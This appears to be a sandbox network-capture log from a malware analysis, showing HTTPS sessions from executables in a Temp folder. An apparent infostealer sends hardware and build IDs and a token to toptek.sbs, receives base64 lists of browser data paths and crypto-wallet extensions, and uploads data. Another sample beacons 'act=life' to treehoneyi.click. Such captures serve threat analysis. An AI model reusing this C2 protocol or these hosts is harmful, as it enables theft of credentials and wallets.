2024-12-21 09:15:34 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 21 Dec 2024 09:15:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12295 Connection: close Set-Cookie: stel_ssid=3e8f97f776c0f26581_8957474028397514639; expires=Sun, 22 Dec 2024 09:15:34 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-12-21 09:15:34 UTC	12295	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6b 30 34 61 65 6c 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @k04ael</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49829	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:37 UTC	230	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:15:37 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:15:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:15:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49835	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:39 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----LFKFUKFUSJMYM7QQ9RQQ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:15:39 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4c 46 4b 46 55 4b 46 55 53 4a 4d 59 4d 37 51 51 39 52 51 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 37 46 44 36 45 31 30 39 35 41 31 33 36 31 34 39 35 32 39 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4c 46 4b 46 55 4b 46 55 53 4a 4d 59 4d 37 51 51 39 52 51 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4c 46 4b 46 55 4b 46 55 53 4a 4d 59 4d 37 51 51 39 52 51 51 2d 2d 0d Data Ascii: ------LFKFUKFUSJMYM7QQ9RQQContent-Disposition: form-data; name="hwid"507FD6E1095A1361495298-a33c7340-61ca------LFKFUKFUSJMYM7QQ9RQQContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------LFKFUKFUSJMYM7QQ9RQQ--
2024-12-21 09:15:40 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:15:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:15:40 UTC	70	IN	Data Raw: 33 62 0d 0a 31 7c 31 7c 31 7c 30 7c 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 7c 31 7c 31 7c 30 7c 31 7c 30 7c 31 30 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3b1\|1\|1\|0\|16f4afd4a6d1ab5c326c73e0ff43f217\|1\|1\|0\|1\|0\|100000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49843	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:41 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CJWTR1NG4OZUAAASR9HV User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:15:41 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 4a 57 54 52 31 4e 47 34 4f 5a 55 41 41 41 53 52 39 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 43 4a 57 54 52 31 4e 47 34 4f 5a 55 41 41 41 53 52 39 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 43 4a 57 54 52 31 4e 47 34 4f 5a 55 41 41 41 53 52 39 48 56 0d 0a 43 6f 6e 74 Data Ascii: ------CJWTR1NG4OZUAAASR9HVContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------CJWTR1NG4OZUAAASR9HVContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------CJWTR1NG4OZUAAASR9HVCont
2024-12-21 09:15:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:15:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:15:42 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49842	34.226.108.155	443	6064	C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:41 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-21 09:15:42 UTC	224	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 09:15:41 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-21 09:15:42 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49850	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:43 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----UAS0ZU3EUA1NYMY58GLX User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:15:43 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 55 41 53 30 5a 55 33 45 55 41 31 4e 59 4d 59 35 38 47 4c 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 55 41 53 30 5a 55 33 45 55 41 31 4e 59 4d 59 35 38 47 4c 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 55 41 53 30 5a 55 33 45 55 41 31 4e 59 4d 59 35 38 47 4c 58 0d 0a 43 6f 6e 74 Data Ascii: ------UAS0ZU3EUA1NYMY58GLXContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------UAS0ZU3EUA1NYMY58GLXContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------UAS0ZU3EUA1NYMY58GLXCont
2024-12-21 09:15:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:15:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:15:44 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49855	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:46 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----2VS2DJEKF37QQQQ90R1D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:15:46 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 56 53 32 44 4a 45 4b 46 33 37 51 51 51 51 39 30 52 31 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 32 56 53 32 44 4a 45 4b 46 33 37 51 51 51 51 39 30 52 31 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 32 56 53 32 44 4a 45 4b 46 33 37 51 51 51 51 39 30 52 31 44 0d 0a 43 6f 6e 74 Data Ascii: ------2VS2DJEKF37QQQQ90R1DContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------2VS2DJEKF37QQQQ90R1DContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------2VS2DJEKF37QQQQ90R1DCont
2024-12-21 09:15:47 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:15:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:15:47 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49861	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:48 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----W4WB168Q1DJMYUAAS26F User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 6285 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:15:48 UTC	6285	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 34 57 42 31 36 38 51 31 44 4a 4d 59 55 41 41 53 32 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 57 34 57 42 31 36 38 51 31 44 4a 4d 59 55 41 41 53 32 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 57 34 57 42 31 36 38 51 31 44 4a 4d 59 55 41 41 53 32 36 46 0d 0a 43 6f 6e 74 Data Ascii: ------W4WB168Q1DJMYUAAS26FContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------W4WB168Q1DJMYUAAS26FContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------W4WB168Q1DJMYUAAS26FCont
2024-12-21 09:15:49 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:15:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:15:49 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49868	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:49 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----9RIW4ECJ5XBAAI58QIEC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:15:49 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 52 49 57 34 45 43 4a 35 58 42 41 41 49 35 38 51 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 39 52 49 57 34 45 43 4a 35 58 42 41 41 49 35 38 51 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 39 52 49 57 34 45 43 4a 35 58 42 41 41 49 35 38 51 49 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------9RIW4ECJ5XBAAI58QIECContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------9RIW4ECJ5XBAAI58QIECContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------9RIW4ECJ5XBAAI58QIECCont
2024-12-21 09:15:50 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:15:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:15:50 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49878	172.67.180.113	443	4336	C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:53 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treehoneyi.click
2024-12-21 09:15:53 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-21 09:15:54 UTC	1126	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 09:15:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h4gato1fiibpeojck4jh9qgup7; expires=Wed, 16 Apr 2025 03:02:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1xCqo1MFb6gil3cx%2BE7bov%2FxlRc0NIZFncNYVlIPdbfSwN3FBM%2BpLEPKKtaDTRFK5434JvyRvlUWkRcRLBjZB%2FFstMON55nnwcuCru0J0uQJu%2BSO6bLomJLrLh8v6e3n14wj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f56c52bf80b42f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1698&rtt_var=651&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2841&recv_bytes=907&delivery_rate=1663817&cwnd=171&unsent_bytes=0&cid=1ad3c73710316266&ts=1204&x=0"
2024-12-21 09:15:54 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-21 09:15:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49888	172.217.19.228	443	7384	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:15:55 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-21 09:15:56 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 09:15:55 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-YkYvzawSgQpe2Zeo0Symkw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 09:15:56 UTC	124	IN	Data Raw: 33 35 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 65 67 61 20 6d 69 6c 6c 69 6f 6e 73 20 6a 61 63 6b 70 6f 74 20 6c 6f 74 74 65 72 79 20 6e 75 6d 62 65 72 73 22 2c 22 76 69 72 67 69 6e 20 72 69 76 65 72 20 73 65 61 73 6f 6e 20 37 20 6e 65 74 66 6c 69 78 22 2c 22 70 72 65 68 69 73 74 6f 72 69 63 20 74 6f 6d 62 22 2c 22 73 74 65 65 6c 65 72 73 20 76 73 20 72 61 76 65 6e Data Ascii: 35d)]}'["",["mega millions jackpot lottery numbers","virgin river season 7 netflix","prehistoric tomb","steelers vs raven
2024-12-21 09:15:56 UTC	744	IN	Data Raw: 73 20 69 6e 6a 75 72 79 20 72 65 70 6f 72 74 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 67 72 65 65 74 69 6e 67 20 6a 6f 75 72 6e 65 79 20 72 65 77 61 72 64 73 22 2c 22 68 79 75 6e 64 61 69 20 70 61 6c 69 73 61 64 65 20 68 79 62 72 69 64 22 2c 22 65 64 64 69 65 20 61 69 6b 61 75 20 62 69 67 20 77 61 76 65 20 69 6e 76 69 74 61 74 69 6f 6e 61 6c 22 2c 22 76 69 72 67 69 6e 20 72 69 76 65 72 20 73 65 61 73 6f 6e 20 36 20 65 70 69 73 6f 64 65 20 32 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 